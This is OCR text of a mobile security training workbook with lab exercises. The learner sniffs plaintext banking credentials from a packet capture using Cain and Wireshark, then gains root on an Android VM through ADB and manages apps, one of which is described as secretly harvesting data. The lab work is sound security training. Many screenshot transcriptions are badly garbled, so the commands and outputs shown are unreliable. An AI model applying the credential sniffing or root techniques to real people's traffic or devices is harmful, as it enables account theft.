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SEC575-1.1: Exercise—Evil Bank
Objective

Evaluate the supplied packet capture taken from an iOS device running a mobile banking
application. Identify the information disclosure flaws associated with the use of the application.

Scenario

In this exercise, you'll see how some mobile device applications are vulnerable to common
attacks, making them likely targets for exploitation. To demonstrate this threat, we created a
replica of a legitimate banking application that was the target of a previous penetration test by
this author. For privacy, we have not included the target banking vendor's nhame.

As a mobile device security analyst, you will be called upon to evaluate the security of various
applications, including network protocols used by the application. As part of a mobile banking
application analysis project, you are tasked with evaluating the data in a packet capture collected
while a colleague used the banking application.

Virtual Machines

1. Windows 10
2. SEC575-E01_02: PfSense
3. Kali

Evil Bank, Not Your Typical Bank

Thank you for your help in evaluating the security of the mobile app Evil Bank.: Not Your Typical
Bank. The Evil Bank application allows a customer to log in from their mobile app against a backend
directory source. Once logged in, the user can choose from a menu of options, allowing them to
observe account balances, transfer funds between accounts, and view detailed account statement
information.

We have asked one of our employees, Kevin Johnson, to experiment with the application. During
that experimentation, we captured the network traffic from the iOS version of the app. You can
access that packet capture on your Windows Desktop "labs” folder: evilbank.pcap.

During this analysis, you will have access to several tools that will serve useful for your analysis,
including:

s Wireshark
* Cain and Abel

Please identify any information disclosure threats or other concerns about the Evil Bank application
using the supplied packet capture data. Thank you again for your hard work, and good luck!

1. Log in to Windows

Click and drag the lock screen up to reveal the login screen. Log in as the user student with
the password student.

Optionally, you can paste the password through the Commands | Paste |

© 2019 Joshua Wright & NVISO 1
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Cain and Abel is a multifaceted attack tool. The Cain portion of the tool includes several

attacks, including a password sniffer. Open Cain from the Start menu.
When prompted, grant Cain escalated privileged by clicking Yes.
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3. Open evilbank.pcap

Open the evilbank.pcap file from Cain. Click the Open icon on the toolbar (the folder

\lab-files\evil bank\evilbank.pcap file. Open the file

) and browse to the E
and Cain will process the packet capture contents.

Icon
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4. Identify Password Disclosure

From Cain, click the Sniffer tab, then click the Passwords tab in the bottom of the Sniffer
tab. Click the HTTP list to identify the username and password information extracted from

the pcap file.

The username "kjohnson" and the password "ThisIsThePasswordIReuse" is disclosed
over HTTP in the packet capture. We see that the URL associated with the credential

disclosure is www3.evilbank.com as well.
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5. Close Cain, then Open evilbank.pcap in Wireshark

Next, evaluate the network activity that Cain used to identify the username and password

information.

\lab-

Close Cain, then start Wireshark from the Start menu. Open the E

files\evil bank\evilbank.pcap capture in Wireshark.
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M citbank.pcap
View Go

Capture  Analyze

Statistics

Telephony ~Wireless  Tools

__E3 -] Expresson.

172.16.0.1
172.16.0.52
fe80::6896:7bff: febc
172.16.0.51
208.67.222.222
66.228.33.111
172.16.0.51
199.47.218.149
172.16.0.51

224.0.0.251
224.0.0.251
ffo2::fb
208.67.222.222
172.16.0.51
172.16.0.51
66.228.33.111
172.16.0.51
199.47.218.149

66
245

Info

Standard query response @x800 A, cache flush 172.16.0.1 PTR, cache flush E3200.local NSEC, ca.
Standard query @x@@0@ PTR _airplay. tcp.local, "QM" question PTR _raop._tcp.local, "QM" questi.
Standard query @x@@0@ PTR _airplay. tcp.local, "QM" question PTR _raop._tcp.local, “QM" questi.
Standard query @x5325 A e3191.c.akamaiedge.net

Standard query response @x5325 A e3191.c.akamaiedge.net A 96.6.189.15

38942 + 49573 [PSH, ACK] Seq=1 Ack=1 Win=661 Len=336 TSval=2149179584 TSecr=46443301

49573 + 30842 [ACK] Seq=l Ack=337 Win=8171 Len=0 TSval=46483413 TSecr=2149179584

HTTP/1.1 208 OK (text/plain)

58834 + 80 [ACK] Seq=1 Ack=180 Win=8182 Len=@ TSval=46487120 TSecr=731634372

172.16.0.51
199.47.218.149
172.16.0.51

199.47.218.149

172.16.0.51

172.16.0.1 1
172.16.0.1 172.16.0.51 2
172.16.9.51 172.16.8.1

Frame 1: 135 bytes on wire (1080 bits), 135 bytes coptured (1080 bits)

Ethernet II, Src: Cisco-Li_07:4e:8d (58:6d:8: 8d), Dst: Ii

Internet Protocol Version 4, Src: 172.16.0.1, Dst: 224.0.0.251

User Datagram Protocol, Src Port: 32768, Dst Port: 5353

Multicast Domain Name System (response)

GET /subscribe?host_int=2171172958ns_map=28737400_85928083320,17408169_4024401764521,23655852_..
8@ + 50834 [ACK] Seq=180 Ack=272 Winw=64 Len=@ TSval=731634389 TSecr=46487122
NT Create AndX Request, FID: @x378b, Path: \sec575a-706065.key
NT Create AndX Response, FID: @x370b
€6 50859 =« 445 [ACK] Seq=129 Ack=140 Win=32622 Len=® TSval=46457993 TSecr=5547§384

_fb (01:00:5¢:00:00:fb)

N

e ¥

E 3200 loc
al <
172:16 ‘@-1-in-
addr-arp a

<
@

Se
ee
8e
ee
ee
n
64
ee
@

Packets: 3619 * Displayed: 3519 (100.0%)

6. Search Wireshark for the Username

From Wireshark, search for the string kjohnson to identify the packets where the username
was disclosed.

Click Edit | Find Packet. A new Find bar will be created. In the third dropdown (type),
choose String. This will enable the first dropdown, where you should choose Packet
bytes. Enter the username kjohnson in the filter box, then click Find. Wireshark will jump
to the first packet where that string is identified.

You can also search for strings in Wireshark using a display filter. A filter such as

frame contains "kjohnson" would return a list of packets where the username
is present too.

© 2019 Joshua Wright & NVISO 5



Capture  Analyze Statistics  Telephony Wireless  Tools

RB ] &= iEEqaan

Narrow & Wide v [] Case senstve String v lgohnsan
Time. Source Destnation Protocol  Length  Info
32.380171  172.16.0.51 172.16.0.1 L] Locking AndX Request, FID: @x3264
32.382080 172.16.0.1 172.16.0.51 srg Locking AndX Response, FID: @x3264
32.382195  172.16.0.51 172.16.0.1 e 50859 » 445 [ACK] Seq=382166 Ack=2009059 Win=32634 Len=0 TSval=46514984 TSecr=55481124
32.382269 172.16.0.51 172.16.0.1 SM8 Close Request, FID: @x3264
32.384228 172.16.0.1 172.16.0.51 sM8 Close Response, FID: @x3264
32.384365 172.16.0.51 172.16.0.1 TCP 58859 -+ 445 [ACK] Seq=382211 Ack=2009098 Win=32635 Len=0 TSval=46514986 TSecr=55481124
38.335538 Apple_40:98:64 Broadcast ARP 42 wWho has 172.16.0.59? Tell 172.16.0.51
38.339482 Veware_99:3f:4f Apple_46:98: 60 172.16.0.59 is at 00:0c:29:99:3f:4f
38.339543 172.16.0.51 172.16.0.59 78 58876 - 8@ [SYN] Seq=@ Win=65535 Len=@ MSS=146@ WS=16 TSval=46520927 TSecr=@ SACK_PERM=1
38.340817 172.16.0.59 172.16.8.51 74 80 - 50876 [SYN, ACK] Seq=@ Ack=1 Win=5792 Len=8 MSS=146@ SACK_PERM=1 TSval=218436 TSecr=46520.
38.340901 172.16.0.51 172.16.98.59 66 58876 + 80 [ACK] Seq=1 Ack=1 Win=131768 Len=@ TSval=46520932 TSecr=218436
38.341457 172.16.8.51 172.16.8.59 312 58876 + 80 [PSH, ACK] Seqel Ack=1 Win=131760 Len=246 TSval=46520932 TSecr=218436 [TCP segment ..
38.341550 172.16.9.51 172,16.0.59 116 POST /login HTTP/1.1 (application/x-www-form-urlencoded)
e . v s o s e AR o
Acknowledgment number: 1 (relative ack number)
1000 .... = Header Length: 32 bytes (8)
Flags: @x018 (PSH, ACK)
Window size value: 8235
[Calculated window size: 131768)
[Window size scaling factor: 16]
Checksum: @x36c6é [unverified]
[Checksum Status: Unverified)
Urgent pointer: @
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
[SEQ/ACK analysis)
[Timestamps]
TCP payload (50 bytes)
TCP segment data (5@ bytes)
Reacconbled ICP Seaments (296 hutac): #34050246) 2349605421
88 @c 29 99 3f 4f 63 a8 6d 4@ 98 64 85 09 45 00
00 66 27 40 15 10 00 33 ac 10
0 3b <6 (33 7a 84 9 7f 64 8@ 18
20 2b 36 e e
55 44 75 Ge 65
73 of Efispass word=Thi
5@ 73 sIsThePa sswordIR
euse

Frame (116 bytes) Reassembled TCP (296 bytes)
O 7 Adata segment used in reassembly of a lower devel protocol (tcp. segment_data), 50 bytes Packets: 3519 * Displayed: 3619 (100.0%)
1

7. Open TCP Stream

Wireshark can display the TCP stream data in a single window across multiple packets. This
allows us to easily view the TCP transaction details where red content is the client to the
server and blue content is the server to the client.

Right-click on the packet with the username present and select Follow > TCP Stream.
Wireshark will open the TCP stream information window.

To open the TCP stream information, you can right-click on the packet in the packet

list or in the packet details view. You can't open the TCP stream by right-clicking in
the packet bytes view.

6 © 2019 Joshua Wright & NVISO
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® (C] e ]

N [ip.streameq 3

Packetbytes Naerow &
Time Source
3492 38.339543 172.16.0.!
3493 38.340817 172.16.0.!

38.340901

38.341457

38.341550
3497 38.342911
3498 38.343319
3499 38.432356
3500 38.432476
3501 38.432672 172.16.0.!
3502 38.432772 172.16.0.!
3510 43.781524  172.16.09.!
3511 43.785314  172.16.8.!

Acknowledgment number: 1
1009 .... = Header Lengt
Flags: @xB18 (PSH, ACK)
Window size value: 8235
[Calculated window size:
[Window size scaling fac
Checksum: @x36c6 [unveri
[Checksum Status: Unveri
Urgent pointer: @
Options: (12 bytes), No-i
[SEQ/ACK analysis)
[Timestamps]

TCP payload (50 bytes)

POST /login HTTP/1.1

Most: www3.evilbank.com:89

Content-Length: 50

Accept-Encoding: gzip

Content-Type: application/x-www-form-urlencoded; charset=utf-8
User-Agent: 8ase 1.8 (iPhone Simulator; iPhone 0S5 6.9; en_US)
Connection: keep-alive

username=kjohnsonlpassword=ThisIsThePasswordIReuseHTTP/1.1 200 OK
Content-Type: text/html; charset-utf-3

Content-Length: 108

Date: Tue, 25 Sep 2012 17:45:36 GMT

Server: mobisec-desktop

accounts?session_key=NCS7MB2)rxbQm6HD JVbBBX2BONV2VG1rOw HTTP/1.1
Host: www3.evilbank.com:80

User-Agent: Base 1.8 (iPhone Sisulator; iPhone OS 6.8; en_US)
Connection: keep-alive

Accept-Encoding: grip

HTTP/1.1 280 OK

Content-Type: text/html; charset=utf-8
Content-Length: 141

Date: Tue, 25 Sep 2012 17:45:42 GMT
Server: mobisec-desktop

“"account_number”: 529831144}]POST /transfer?session_key=NC57MB2)rxbQe6HD3VDBBX2BONV2VG1rOw HTTP/1.1
Host: www3.evilbank.com:80

Content-Length: 54

Accept-Encoding: gzip

Content-Type: application/x-www-form-urlencoded; charset=utf-3

User-Agent: Base 1.8 (iPhone Simulator; iPhone 05 6.9; en_US)

Connection: keep-alive

from_account=5290311438t0_account=5290311448amcunt=100HTTP/1.1 200 OK

{"username”: "kjohnson", “key™: "NCS7MB2)rxbQmEMOIVDEB+ONV2VGIrOw™, “created™: “2012-89-25 13:45:36.6898407 JGET /

[{"balance": "64100.00", "type™: "savings", "account_nusber”: 529031143}, {"balance”: "101.88%, "type": “roth",

=@ SACK_PERM=1
812218436 TSecr=46520..

1218436 [TCP segment ..

16520932 [TCP segment ..
8458

8459

59

TCP segment data (5@ by¥ | o eChe Type: text/html; charset=utf-8
Reaccanhled TP Seesants Content-Length: 17
©c 29 99 3f 4f 68 a8 |pate: Tue, 25 Sep 2012 17:45:54 GMT
66 27 ee 40 0@ 4@ 06 |server: mobisec-desktop
€6 bc 2@ 50 <5 e8
2b 36 6 00 €0 01 01 | {"success”: "S1"}GET /statement?session_key=NCS7MB2IrxbQmEHDFVDEBX2BONVZVG1row HTTP/1.1
44 75 73 65 72 6e 61 |fost: www3.evilbank.com:8@
6f 6e 26 70 61 73 73 |yser-Agent: Base 1.0 (iPhone Simulator; iPhone 05 6.0; en_US)
49 73 54 68 5@ 61 |Connection: keep-alive
75 73 65 Accept-Encoding: gzip

HTTP/1.1 200 OK

Content-Type: text/html; charsetsutf-8
Content-Length: 176

Date: Tue, 25 Sep 2012 17:45:56 GMT
Server: mobisec-desktop

<ldoctype html>

14 chers phix. 18 servee plas, 17 s

Entire conversation (4588 bytes) Show and save data a5

Find:

Frame (116 bytes) i3

© 7 Adata segment used in reasser Fiter Out This Stream

8. Evaluate Wireshark TCP Stream Data

The Wireshark TCP stream data immediately discloses that the client accessed the /login
page with a POST, disclosing the username and password information.

The server response with JavaScript Object Notation (JSON) data, identifying the username,
a session key, and a "created" date and timestamp. Note that this session key is used in
subsequent requests from the mobile device.

Inspect the TCP stream information that follows to identify additional sensitive information
disclosure concerns.

9. Close Wireshark
When you are finished inspecting the TCP stream information, close Wireshark.

Thanks to your analysis, we have learned about several vulnerabilities in this application:

» Lack of transport encryption
* Plaintext password disclosure during authentication

» Disclosure of sensitive information, including bank account numbers and bank
balance information

© 2019 Joshua Wright & NVISO 7



Our discussions with the bank developers indicate that this version of the application was
unintentionally flawed due to an oversight in their development and QA processes. A conditional
debugging statement intended for developer use prevented the application from using TLS to encrypt
network traffic. A new version of the application is being developed, and affected customers are

being notified.

8 © 2019 Joshua Wright & NVISO



SEC575-1.2: Exercise—Android Emulation
Objective

Familiarize yourself with the Android-x86 Virtual Machine components, including UI navigation
components, scrolling, application lists, terminal and root access, important shell commands, and
terminating and uninstalling apps. Use the Android Debug Bridge (ADB) utility to inspect, control,
and monitor the Android platform.

Scenario

In this exercise, you'll familiarize yourself with the Android-x86 Virtual Machine (VM) provided for
use in several hands-on exercises throughout the course. Having a working understanding of the
Android platform, useful command line tools, and UI components is essential for effective use of
this tool.

As a mobile device security analyst, you will find that a virtualized Android device is an essential
tool, making it possible to evaluate mobile applications, capture network traffic, interact with proxy
servers, and more. With virtualized or physical Android devices, developer access through ADB is
also valuable to control and monitor the Android platform.

Virtual Machines

1. Windows 10
2. SEC575-E01_02: PfSense
3. Android 8.1

Android Emulation

As part of your responsibilities as a mobile device security analyst, you are expected to have
familiarity with several mobile device platforms and virtualization environments. Use this time to
familiarize yourself with the following tasks and components associated with the Android platform
through the use of the Android-x86 Virtual Machine:

* Using Android navigation

+ buttons Scrolling in
Android-x86

* Identifying installed applications

« Terminal access

* Application "more options”

+ access Using the netcfg

« command line utility Root
access

* Terminating apps

+ Uninstalling apps

1. Switch to the Android VM
Switch to the Android virtual machine by clicking on the Machines tab, then select Android 8.1.

© 2019 Joshua Wright & NVISO 9
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From the Android home screen (the "Google Now Launcher"), you'll see three buttons on

the bottom of the screen, from left to right
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The Back button brings you to the previous screen (an "Activity" in Android). Th

can be within the screens of a single application or across multiple applications.

Back:

o

The Home button returns you to the Android home v

Home:

o

The Recents button shows a list of recently accessed appl

Recents

o

From the home screen, you will also see the app list icon (an arrow pointing up). Click this

button to open the application list.
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3. Scroll

Many apps require you to scroll through available options. Open the Settings app to see the
available settings for the Android device. At the bottom of the list is a System option that

on.

to system informat

gives access

Click and drag up to scroll to the bottom of the settings list. Select the System option,

followed by the "About tablet" option to identify the Android version, then return to the

home view.
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Android-x86 includes a terminal app for shell access. Open the Terminal Emulator app to

access the command line interface to the Android-x86 device.

pwd
uname
-als/
Is /data

When you launch the Terminal Emulator app, you'll start with non-root access. Run the
]
[e]
[e]

commands listed below to explore the terminal environment

v . ...

4. Terminal access



he normal user does not have access to the /data folder.
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5. Identify your Android IP address

Run the ifconfig utility from the Terminal Emulator app with no arguments to identify your IP

address.

ify IP address

ddr" to ident

llip a

you can also run

ility,

t

ig u

ifconf

ive to the

As an alternat

Ion

informat
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86_64:/ $ ifconfig
o Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope: Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:27 errors:0 dropped:0 overruns:0 frame:0
TX packets:27 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:3960 TX bytes:3960

Link encap:Ethernet HWaddr 00:15:5d:63:38:c4

inet addr:10.10.10.7 Bcast:10. .255 Mask:255.255.255.0
inet6 addr: fe80::83cd:6229: :86b4/64 Scope:

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:0 TX bytes:0

Link encap:Ethernet Hwaddr 00:15:5d:63:38:c4 Driver hv_netvsc
inet6 addr: fe80::215:5dff:fe63:38c4/64 Scope: Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:683 errors:0 dropped:0 overruns:0 frame:0

TX packets:826 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:307211 TX bytes:221907

86_64:/ $ i

6. Get root access

From the terminal, run the su command to request root access. The Superuser application will
launch, prompting you to grant or deny access for one time, for 10 minutes, or for each
subsequent request.

Grant the Terminal Emulator application root access forever, then click Allow.

If needed, you can launch the Superuser application from the application list to revoke
or modify root access policies.

© 2019 Joshua Wright & NVISO 13
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7. Terminate Terminal Emulator

In the normal progress of working with Android devices and evaluating Android apps, you will
need to terminate (kill) apps or uninstall them.

To terminate an Android app, click and hold on the app icon for several seconds. Select the
App Info option from the popup options. From the App info screen, click Force stop.

Return to the main Android view by clicking on the Home button. Terminate the Terminal
Emulator application by clicking and holding the mouse down on the Terminal Emulator
app icon. Select the App Info option, then click Force stop to kill the application. Click
OK when prompted to "Force stop?". Exit the App info menu by clicking the Home button.

14 © 2019 Joshua Wright & NVISO



Force stop?

If you force stop an app, it may misbehave.

CANCEL

8. Access App Info

You will often need to access app info to remove any data associated with the app,
effectively reverting it to the newly installed state. Remove the data associated with the
Terminal Application app by clicking it for two seconds and choosing the App Info option.
On the App Info screen, click "Storage" followed by the "Clear Data" button to remove the
data associated with the app.

You can also access the app information from the Settings menu by clicking Settings
| Apps and selecting the desired app from the list.

© 2019 Joshua Wright & NVISO 15
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9. Uninstall Firefox

Next, uninstall the Firefox app. To uninstall Firefox, click the application list button. Click and
hold the Firefox app icon from the application list (not the shortcut on the desktop), then

drag it up to the top of the screen.

Release the mouse over the Uninstall option to uninstall the app.

You can also uninstall an app from the Settings menu by clicking Settings | Apps and

icon (or shortcut) to

drag the app

ively,

ist. Alternat

ired app from the |

selecting the des
the App Info

then click Uninstall

icon,
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Congratulations on completing the Android Emulation exercise. Next you'll have a chance to continue
working with the Android platform using the Android Debug Bridge (ADB) tools to continue

investigating low-level Android components.

ADB Access

Now that you've established familiarity with the Android-x86 UI components, you will interact with the
Android-x86 VM using the Android Debug Bridge (ADB) utility to complete the following tasks:

* Establish ADB
+ connections Upload
and download files
* Access missing Linux commands on
« Android Install applications
* List installed applications
* Uninstall applications from the
« command line Terminate, clear, hide,
« and enable Android apps Access Android

logging

1. Switch to Windows System
From the Machines tab in the upper right portion of your browser, switch to the Windows 10
system. Alternatively, you can click the menu text "Android 8.1" in the top center of the
browser, then click on "Windows 10" in the dropdown list.

© 2019 Joshua Wright & NVISO 17



2. Log in to Windows
Click and drag the lock screen up to reveal the login screen. Log in as the user student with the

password
student.

Optionally, you can paste the password through the Commands | Paste | Paste
Password menu option at the top of the screen if desired.

o
|
|

-

-
-

student

o

o
-
-

-
-

3. Establish an ADB connection
Throughout the course, we'll use the Android Debug Bridge (ADB) utility to access the

Android-x86 platform for a variety of tasks. As we saw in the previous exercise, your Android
VM is at 10.10.10.7. Establish an ADB session from the command line.
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From your ADB session, you can access a shell in two ways

You can use "adb shell" to access the Android shell environment or use the

by executing a specified command (adb shell command). Use this feature to run the df
Android

command interactively and as a specified command, as shown in the screenshot.

IS
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4. Access the ADB shell



B Command Prompt

kil _64:/ § df
Filesystem 1k-blocks Used Available UseX Mounted on
tmpie 018012 3377 014648 !
/dev/loop@ 21930872 2077996 98692 /aystem
/dev/block/sdal 285084028 1927164 16568988 2 /data
tmpfs 2018012 468 2017552 Jdev

2018812 9 2018012 Jmnt

2818812 @ 2013812 /cache
/data/media 20504628 1927264 16560980 /storage/enulated
¥B5_64:/ § exit

C:\Users\studentradb shell of
Filesystem 1K-blocks used Available UseX Mounted on
016012 3372 10lde4@ 1K J
1103071 1077096 S8602 OEX [system
10584618 I0ILIMR 16556856 IO /data
2818812 468 2017552 1% /dev
2enge12 B 2mes?  eX fant
jnone Jise12 @ mEe2 eX fcache
/data/media 20504628 3931388 18556858 0% /:itorageSemulated

C: \Wsers\student>

5. Run the id command

Use the non-interactive ADB shell to run the "id" command, identifying your user ID information and
privileges:
C:\Users\student\>adb shell id

By default, the Android-x86 VM does not give you root access when you access
resources over adb shell. You could run adb shell interactively and then su
to get root access through the SuperSuU utility, but this is problematic when trying to
upload or download files where root access is required. Next, we'll look at getting
root access through adb shell.
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B Cermmand Proenpt

C:\Users\studentradb shell id
uid-2000(shell) gid-2000(shell) groups-2000(shell),1004(input),1007(log),1011(adb), 1005 sdcard_rw),1028(sdcard_r), 30¢1(n
et_bt_admin),3002(net_bt}),3803(inet),3@@6(net_bw_stats),3@éd(readproc),3011(uhid) context=u:r:shell:se

C:\Users\students,

.

6. Access ADB as root

Run the adb root command from Windows to restart the ADB process on the Android-x86
VM as root. After running this command, you need to reestablish your ADB connection using
adb connect 10.10.10.7:5555. Runthe adb shell id command again to see the
new user ID and root access, as shown in the screenshot.

abi-files

B Command Prampt

C:iUsers\studentradb root
Langusge restarting adbd as root

C:iUsersistudentsadb connect 18.18.18.7
connected to 18.18.18.7:5658

C:\users\student>adb shell id
uids@d(root) gidsd(root) groups=o(root),1084(input),1007(log),1811(adb),1015(sdcard_rw), 1028({sdcard_r), 3081(net_bt_admin)
SI002(net_bt),30e3(inet), Joet(net_bw_stats), 009 (readproc), 3011 (uhlid) contexte=uir:su:s!

C:\Usersistudent s

-
-

-
-

-
-
.
-
-
-
-
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7. Use find

The Android x86 VM has many standard Linux utilities installed, making the transition from Linux to
Android easy.

First, open an interactive shell instance with adb shel1l. Then use the find utility to

identify all the Android application packages on the system:
C:\Users\student> adb shell

root@x86 64:/ # find /data -name \*.apk

Then exit the interactive shell by running exit.

W Command Paoenpt - sdb shell

*BE_64:/ # find /data -name \*.apk
.android.gms/app_dg_cache/7713F3770123FFBS751758ASEF P0650D002FCELA/ the.
Jandrold. gms/app_dg_cache/202100F 4408393400CC0063637OFACACRDTIF 2670/ the.
-android. gus/app_dg_cache/@7CCoAD3 S4E BE41E@LG/ the,
-androld. gms/app_dg_cach FAEAE c 1/the.
= _UFERKTIVCHVXIXMCX I nkg==/bage . apk
/data/app/com. google. android. ga- iDud - OeFHeAXTONRPLGL Iue=/base . apk
/data/app/com. androdd. vending - Txs8v2eApDwAL {2 2INFE-Qu=/base . apk
fdata/app/1t.andro. broadcast logger-1§199cub - bDASSE JFxSivges/base., apk
/dava/app/com. google. androld, youtube- IMuTzhBn3HELIAC_sP_28Qe=/split_config.en.apk
/dato/ opp/ com. google. androfd. youtube- {M7zhBn3HEZ 14C_sP_280e=/base. apk
(date/ app/con. google. androfd. gms - 2oPDWIKO1UudTBIL -SF Vigw==/ base. apk
/datalapp/con. android. chrone-yI0elUsL 1vpLSVIHBOz jIg==/split_config.en. apk
/data/app/com. android. chrome-yZReEUsL 1vpLSYHBOZ]Ig==/base  apk
/data/app/com. google.androld. googlequicksearchbox- gFRZGERINEXXIIIVAYTNTQ==/base . apk
/data/app/com. securitycoapass. androldlabs. base-beOCiR-nUrVYidml gSgnme--base. . apk
/data/app/org.mozilla. firefox-cto i) tnudFVERLIUL /base.apk
/data/user_de/@/com.google . androld. gms/app_chinera/n/eeeesdib/d]l-Grellabynanite opticnal _18719030808.apk
/data/user_de/@/com.google.android.gme/app_chinera/n/0000d@1a/d]l-Grella.optional 18710070000, apk
£ «google.android. gms/app_chinera/n/B0000011/Ads0ynanite. apk
android.gms/app_chiméra/m/peeesall/CranetOynanite. apk
android.gms/app_chinera/n/essessll/Oynaniteloader, apk
«android.gms/app_chimera, 1-vizionOcr.optional 1871909e800.apk
e.android. gms/ app_chinera/m/BBAGAA14,/ Dynani teModuless . apk
.android, gms/app_chimera/n/ 00000015/ DynamitelodulesC. apk
/data/user_de/0fcon. google . androtd. gms/app_chimera/n/BOBBBO1E/ GoogleCert iFicates apk
.google.android. gms/app_chimer 7 apk
/data/user_de/@/con. google .androld. gms/app_chimer ite.apk
xBE_E4:/ # o

8. Install ES File Explorer

The ADB utility can also be used to install Android applications in the APK file format. Note

that this command installs the application without prompting the user to approve the
permissions specified in the package's AndroidManifest.xml file.

Install the ES File Explorer application (E:\lab-files\adb_access\ES_File_Explorer.apk) as shown:
C:\Users\student>adb install "E:\lab-
files\adb_access\ES _File Explorer.apk"

You can easily insert the correct path by dragging the ES_File_Explorer.apk onto the
Command Prompt window.
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B Command Prompt

t\Users\student>adb Install E:\lab-files\adb_access\Lunarlander.apk
3923 KB/s (125617 bytes in 0.93ls)
Succe

dent>adb shell pm list packages | findste /I "lunar®
willhackforsushi, lunarlander

dent>adb uninstall com,willhackforsushi,lunarlander

t\Users\students

10. Install and uninstall Lunar Lander

Use the ADB install and uninstall features to install and then remove the Lunar Lander
application, as shown below. Use the "pm list packages" utility to list the names of installed
packages, optionally filtering the output with the Windows findstr utility:
C:\Users\student>adb install E:\lab-files\adb_access\LunarLander.apk
546 KB/s (125388 bytes in

0.224s) Success

C:\Users\student>adb shell pm list packages | findstr /I "lunar"
package:com.willhackforsushi.lunarlander

C:\Users\student>adb uninstall com.willhackforsushi.lunarlander
Success

11. Terminate and clear ES File Explorer

The pm utility is the Android Package Manager, which allows us to manipulate Android
packages from the command line. With pm, you can terminate and clear an application's
data from the command line, reverting it back to the newly installed state.

Terminate and clear the data for the ES File Explorer package by running the pm command as

shown:
C:\Users\student>adb shell pm list packages | findstr /I "ES"

package:com.estrongs.android.pop
C:\Users\student> adb shell pm clear com.estrongs.android.pop
sSuccess
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Like adb uninstall, you must reference the package name with the pm utility, not the APK
filename.

BN Command Frompe

C:\Usersistudentsadh shell pm list packages | Findstr /T "ES"
inackage: com.android. inputdevices
package:com.android.pacprocessor

package: com.google.android.play.games

package: com.estrongs. android. pop

package:com.google.android. apps.magazines

package:com. android.daeskclock

C:\Usersistudent»sdh shell pm clesr com.estrongs.android.pop
Success

C:\Usersistudentr,

|
...
-

12. Terminate ES File Explorer without clearing data

While the pm utility can terminate an app and clear the data, it cannot terminate an app
without clearing data. To terminate an app without clearing data, we turn to the am
(Activity Manager) utility.

Run the am command, as shown below, to terminate ES File Explorer:
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ile Explorer from the Andro

ide the ES F
\Users\student> adb shell pm d
Package com.estrongs.android.pop new state

You can switch back to your Android VM to see the now missing ES File Explorer app.

The pm utility can also hide an application from the application list. Run the command
C

below to h

13. Hide ES File Explorer to prevent execution
26
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\Users\student> adb shell pm enable com.estrongs

Package com.estrongs.android.pop new state

Returning to your ADB shell, you can re-enable the hidden ES File Explorer applicat
the pm command as well. Run the command shown below to re-enable ES File Explorer.

14. Enable hidden ES File Explorer
C



BN Command Frompe

C:\Usersistudent>adb shell pm enable com.estrongs.android. pop
IPackage com.estrongs.android.pop new state: enabled

C:\Usershstudentr

15. Install Lunar Lander

Next, we'll look at Android logging activity. For this, we'll use the Lunar Lander application.
Install the Lunar Lander application, as shown.
C:\Users\student>adb install E:\lab-files\adb_access\LunarLander.apk
247 KB/s (125545 bytes in 0.495s)

pkg: /data/local/tmp/LunarLander.apk
Success

16. Clear Android Logs

The Android platform uses a system-wide logging function known as logcat. We can use the
"adb logcat" command to display logging records.

Running "adb logcat" by itself will display the entire buffer of logging messages and will keep
displaying new messages as they arrive until the user stops the utility with "ctrl+c". A more
typical use of viewing the system log is to first clear the log records with "adb logcat -c", then
to perform some action with the Android device or an application, then to display the new
logging entries and exit with "adb logcat -d".

Clear the Android log buffer using the command shown below:

C:\Users\student>adb logcat -c
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Typical use for examining Android logs:

° Clear log: adb

o logcat -c Do

o Something with
Android Show log: adb
logcat -d

17. Launch Lunar Lander

Return to your Android device and launch the Lunar Lander game. Lunar Lander appears to
be a simple spacecraft landing game, but it also includes some malicious functionality to
harvest data from the system. We'll examine the Lunar Lander app in more detail later in the
course.

18. View Android logs

Return to the command line interface and display the Android logs with adb logcat -d.
You will see a lot of logging output in the format X/Name, where "X" is the log level and
"Name" is the name of the process creating the logging message. The log level helps us to
understand the criticality of the logging event, one of:

° v — Verbose (lowest priority)
° D — Debug

° 1 —Info

° w — Warning

° E — Error

° r — Fatal

The amount of information displayed by the adb logcat commands can be
overwhelming, but it represents a valuable source of information about the behavior
of the Android device and applications. If you want to filter out specific events from
the ADB log data, pipe the output of adb 1ogcat to the Windows findstr
command with the /v argument:

C:\Users\student>adb logcat -d | findstr /v E/audio_hw_primary

An Android-x86 VM is a powerful tool that is made more powerful when we have experience using the
Android Debug Bridge (ADB) and associated tools that allow us to interact with and explore the
system functionality. Using these tools, we can run native Android applications and use application
and system introspection features to guery and manipulate the behavior of the system. These
features are powerful tools for evaluating the security of the Android platform and Android
applications.

Congratulations on completing this hands-on exercise!
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SEC575-1.3: Exercise—Android Intents
Objective

Understand how the activity manager can be used to send events, and see how the Android OS
responds to these events. Monitor system events that are being broadcasted by using the Broadcast
Monitor app.

Scenario

In this exercise, you take on the role of a mobile device pen tester. A common task as a mobile pen
tester is to interact with applications and find vulnerabilities in them. The am utility can be used to
create proof of concepts if a vulnerability is identified in an application. It is much quicker to use
am than to create a custom application that interacts with another application, so it allows for easy
prototyping and debugging.

Virtual Machines

Windows 10
SEC575-E01_02: PfSense
Kali

Android 8.1

5. SEC575-E01_02: LabServer

H N

Android Intents

Android Inter-Process-Communication (IPC) is a very important part of the Android ecosystem.
Intents are at the heart of this and understanding how they are used in different situations is
paramount to understanding IPC.

In this exercise, you will send out different Intents to trigger actions and monitor broadcasted
Intents that are continuously sent out by the system.

1. Log in to Kali Linux

From the Machines tab, select the SEC575 Kali Linux machine. Click on the screen and drag
up to reveal the login prompt. Login as the user root with the password toor.

2. Open the Linux Terminal
From the navigation bar on the left, click to open the Linux terminal application.

3. Connect to the Android VM

Use the adb command to connect to the Android VM at 10.10.10.7 and start a shell on the
device:

root@kali:~# adb connect 10.10.10.7

* daemon not running; starting now a tcp:5037
* daemon started successfully

connected t010.10.10.7:5555
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android.intent.act

Intent { act

/ $ am start com.android.settings
com.android.settings }

Star_ting

